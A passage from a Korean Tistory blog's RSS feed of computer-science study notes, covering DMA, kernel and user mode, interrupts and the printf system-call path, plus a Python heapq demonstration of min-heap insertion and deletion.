&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DirectX를 사용함으로써 데이터 이동도 한번에 가능, RAM을 Direct로 공유&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b&gt;DMA(Direct Memory Access)&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;I/O에 의한(입출력 과정에서의) 지연이 감소 &amp;rarr; 성능 극대화&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://raisonde.tistory.com/entry/%EC%9D%B8%ED%84%B0%EB%9F%BD%ED%8A%B8Interrupt%EC%9D%98-%EA%B0%9C%EB%85%90%EA%B3%BC-%EC%A2%85%EB%A5%98&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://raisonde.tistory.com/entry/%EC%9D%B8%ED%84%B0%EB%9F%BD%ED%8A%B8Interrupt%EC%9D%98-%EA%B0%9C%EB%85%90%EA%B3%BC-%EC%A2%85%EB%A5%98&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>DirectX</category>
      <category>DMA</category>
      <category>interrupt</category>
      <category>게임</category>
      <category>운영체제</category>
      <category>인터럽트</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/180</guid>
      <comments>https://it-log.tistory.com/180#entry180comment</comments>
      <pubDate>Mon, 19 Aug 2024 00:12:03 +0900</pubDate>
    </item>
    <item>
      <title>컴퓨터의 구조 (H/W, Kernel mode, User mode)</title>
      <link>https://it-log.tistory.com/179</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;컴퓨터는 3층집으로 되어 있다.&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p3WoS/btsIVI9gRkK/H18d69SRbU10XKc0Xcps81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p3WoS/btsIVI9gRkK/H18d69SRbU10XKc0Xcps81/img.png&quot; data-alt=&quot;그림1- 컴퓨터의 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p3WoS/btsIVI9gRkK/H18d69SRbU10XKc0Xcps81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp3WoS%2FbtsIVI9gRkK%2FH18d69SRbU10XKc0Xcps81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;904&quot; height=&quot;541&quot; data-origin-width=&quot;904&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1- 컴퓨터의 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;컴퓨터는 3개 계층으로 구성되어 있다. &amp;rarr; H/W, S/W(Kernel, User)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;H/W = Physical&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;S/W = Logical ≒ Virtual&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;CPU 64bit, OS 64bit = 64bit Platform&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;운영체제(OS)는 소프트웨어다. &amp;rarr; MS Word와 같다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;OS는 위로는 Application을 서포트한다. (잘 작동하도록 도와줌)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;OS는 밑으로는 하드웨어를 제어/관리 한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Interrupt = 방해(알람), 컴퓨터와 주변기기가 통신(I/O)을 할 때 마다 Interrupt가 발생한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;I/O(입출력) = Read(읽기), Write(쓰기)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;C언어 printf 함수 사용하여 Hello World 출력 시 순서 (OS 제어의 순서)&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;printf 함수를 이용해서 API를 Call 한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;API 내부에서 장치를 추상화한 파일(인터페이스)을 통해서 정보가 밑으로 내려간다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;User mode에서 Kernel mode로 진입할 때 새로운 코드가 실행된다. &amp;rarr; System Call (진입점에 있는 코드)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;구성요소가 작동하고 System Call이 이루어지면서 Device Driver를 제어하기 시작&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Device Driver에서 Interrupt를 요청 &amp;rarr; Interrupt Request(IRQ), 고유 번호가 있다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Interrupt가 발생하면서 CPU와 Device가 통신을 하게 된다. &amp;rarr; Hello World 전달&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Device(Video card)에 변화가 생기면서 Device에 연결된 모니터에 Hello World가 렌더링된다. (출력 끝)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Hello World 전달된 후, Device에서 Interrupt가 발생하면서 Driver로 신호가 간다. (종료 신호)&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Device Driver가 구성요소에 System Call 한 내용이 종료되었다는 것을 전달한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Read할 것이 있으면 추가로 Read 진행, 없으면 종료. (함수 리턴)&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;위 통신 과정에서 프로세스의 상태에 따라서 I/O 방식의 차이가 있다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Blocking I/O &amp;rarr; API를 호출한 프로세스의 상태가 Wait 인 경우&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Non-Blocking I/O &amp;rarr; API를 호출한 프로세스의 상태가 Wait가 아닌 경우 (다른 일을 하고 있음)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;컴퓨터는 3층집이다. &amp;rarr; H/W, S/W(Kernel, User)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Interrupt는 컴퓨터와 주변기기가 통신할 때 발생한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Interrupt를 요청 = IRQ(Interrupt Request)는 고유번호가 있다. &amp;rarr; Device 마다 다르다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;printf = API, API는 Kernel에서 실질적인 동작이 수행되도록(입출력이 발생하도록) 역할을 한다. &amp;rarr; 이때 수행되는 함수를 System Call 이라 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;※ IRQ 확인 방법: Window + R &amp;rarr; msinfo32 검색 &amp;rarr; 하드웨어 리소스 &amp;rarr; IRQ&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>kernel mode</category>
      <category>Operating System</category>
      <category>OS</category>
      <category>User mode</category>
      <category>운영체제</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/179</guid>
      <comments>https://it-log.tistory.com/179#entry179comment</comments>
      <pubDate>Sun, 18 Aug 2024 00:12:38 +0900</pubDate>
    </item>
    <item>
      <title>비선형 자료구조 2진 트리</title>
      <link>https://it-log.tistory.com/178</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2진 트리(Heap)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmW38i/btsITs6UaE2/3aT9EjDkj1x9FxspBMYih0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmW38i/btsITs6UaE2/3aT9EjDkj1x9FxspBMYih0/img.png&quot; data-alt=&quot;그림1 - 2진 트리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmW38i/btsITs6UaE2/3aT9EjDkj1x9FxspBMYih0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmW38i%2FbtsITs6UaE2%2F3aT9EjDkj1x9FxspBMYih0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;559&quot; height=&quot;500&quot; data-origin-width=&quot;559&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 2진 트리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;자료당 두 개의 위치정보(링크)를 이용해 셋을 하나로 묶는다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;맨 꼭대기를 기준으로 왼쪽에는 작은 숫자, 오른쪽에는 큰 숫자 카드가 있다고 가정한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;생각해볼 문제: 여기에 5번이 있는지 알고 싶다 몇 번 비교하면 찾을 수 있을까? &amp;rarr; 3회&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;2진 트리 = Heap(힙) &amp;rarr; 정보를 빠르게 나열하기가 굉장히 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;파이썬 코드로 Heap 구현하기&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Heap(힙)은 최대/최소값을 찾는데 최적화된 자료구조&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;힙은 기본적으로 완전 이진 트리 = 무조건 왼쪽 자식 노드부터 데이터 삽입&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;힙은 데이터의 중복을 허용&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;push &amp;rarr; heappush (값 넣기)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;pop &amp;rarr; heappop (값 빼기)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;최대 힙(Max Heap)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;335&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d8YcW8/btsIUtxg09w/VxDvolU2zsWE2naNk0Fk30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d8YcW8/btsIUtxg09w/VxDvolU2zsWE2naNk0Fk30/img.png&quot; data-alt=&quot;그림2 - 최대 힙&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d8YcW8/btsIUtxg09w/VxDvolU2zsWE2naNk0Fk30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd8YcW8%2FbtsIUtxg09w%2FVxDvolU2zsWE2naNk0Fk30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;472&quot; height=&quot;335&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;335&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 최대 힙&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;최대 힙은 루트 노드가 가장 큰 값을 가지고, 부모 노드가 항상 자식 노드보다 값이 크거나 같다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;최소 힙(Min Heap)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;394&quot; data-origin-height=&quot;305&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baT6m4/btsIULqWfp4/4Xd6xmRXDjihYHRMIpZ2B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baT6m4/btsIULqWfp4/4Xd6xmRXDjihYHRMIpZ2B0/img.png&quot; data-alt=&quot;그림3 - 최소 힙&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baT6m4/btsIULqWfp4/4Xd6xmRXDjihYHRMIpZ2B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaT6m4%2FbtsIULqWfp4%2F4Xd6xmRXDjihYHRMIpZ2B0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;394&quot; height=&quot;305&quot; data-origin-width=&quot;394&quot; data-origin-height=&quot;305&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 최소 힙&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;최소 힙은 루트 노드가 가장 작은 값을 가지고, 부모 노드가 항상 자식 노드보다 값이 작거나 같다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;파이썬에서는 최소 힙이 기본 힙이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; 입력&amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1722588997989&quot; class=&quot;python&quot; style=&quot;color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import heapq as h   # heapq 모듈 불러오고 h로 사용
tree = []           # tree 변수에 빈 리스트 대입
h.heappush(tree,2)  # tree에 heappush로 2 추가
h.heappush(tree,4)  # tree에 heappush로 4 추가
h.heappush(tree,5)  # tree에 heappush로 5 추가
h.heappush(tree,8)  # tree에 heappush로 8 추가
h.heappush(tree,7)  # tree에 heappush로 7 추가
h.heappush(tree,6)  # tree에 heappush로 6 추가
print(tree)         # tree 출력
h.heappush(tree,1)  # tree에 heappush로 1 추가
print(tree)         # tree 출력
h.heappop(tree)     # tree에 heappop으로 값 빼기
print(tree)         # tree 출력&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; 출력 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1722588997990&quot; class=&quot;python&quot; style=&quot;color: #333333; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;[2, 4, 5, 8, 7, 6]
[1, 4, 2, 8, 7, 6, 5]
[2, 4, 5, 8, 7, 6]&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p id=&quot;힙-삽입&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;힙 삽입&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;435&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://velog.velcdn.com/images/2hey9/post/fa27ce37-395f-4216-93b8-b7bd1ecf9f27/image.png&quot; data-phocus=&quot;https://velog.velcdn.com/images/2hey9/post/fa27ce37-395f-4216-93b8-b7bd1ecf9f27/image.png&quot;&gt;&lt;img src=&quot;https://velog.velcdn.com/images/2hey9/post/fa27ce37-395f-4216-93b8-b7bd1ecf9f27/image.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fvelog.velcdn.com%2Fimages%2F2hey9%2Fpost%2Ffa27ce37-395f-4216-93b8-b7bd1ecf9f27%2Fimage.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;435&quot; height=&quot;313&quot; data-origin-width=&quot;435&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1) 1을 최소 힙([2,4,5,8,7,6])에 삽입 시, 힙은 완전 이진 트리이므로 삽입 시에도 이를 유지해 완전 이진 트리를 만족하는 자리에 1 값이 삽입된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;419&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://velog.velcdn.com/images/2hey9/post/54d2fa86-9fb5-4e4f-b8e4-425de120c742/image.png&quot; data-phocus=&quot;https://velog.velcdn.com/images/2hey9/post/54d2fa86-9fb5-4e4f-b8e4-425de120c742/image.png&quot;&gt;&lt;img src=&quot;https://velog.velcdn.com/images/2hey9/post/54d2fa86-9fb5-4e4f-b8e4-425de120c742/image.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fvelog.velcdn.com%2Fimages%2F2hey9%2Fpost%2F54d2fa86-9fb5-4e4f-b8e4-425de120c742%2Fimage.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;419&quot; height=&quot;306&quot; data-origin-width=&quot;419&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2) 1은 값이 5인 부모노드보다 값이 작으므로 최소 힙의 성질을 만족하기 위해 부모 노드와 자리를 바꾼다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://velog.velcdn.com/images/2hey9/post/08b82da4-9737-4239-91ae-4fc1975985f7/image.png&quot; data-phocus=&quot;https://velog.velcdn.com/images/2hey9/post/08b82da4-9737-4239-91ae-4fc1975985f7/image.png&quot;&gt;&lt;img src=&quot;https://velog.velcdn.com/images/2hey9/post/08b82da4-9737-4239-91ae-4fc1975985f7/image.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fvelog.velcdn.com%2Fimages%2F2hey9%2Fpost%2F08b82da4-9737-4239-91ae-4fc1975985f7%2Fimage.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;431&quot; height=&quot;318&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3) 1은 값이 2인 부모 노드보다 값이 작으므로 최소 힙의 성질을 만족하기 위해 부모 노드와 자리를 바꾼다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p id=&quot;힙-삭제&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;힙 삭제&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;최소 힙에서의 삭제는 값이 제일 작은 노드 = 루트 노드의 삭제를 의미한다.&lt;/li&gt;
&lt;/ul&gt;
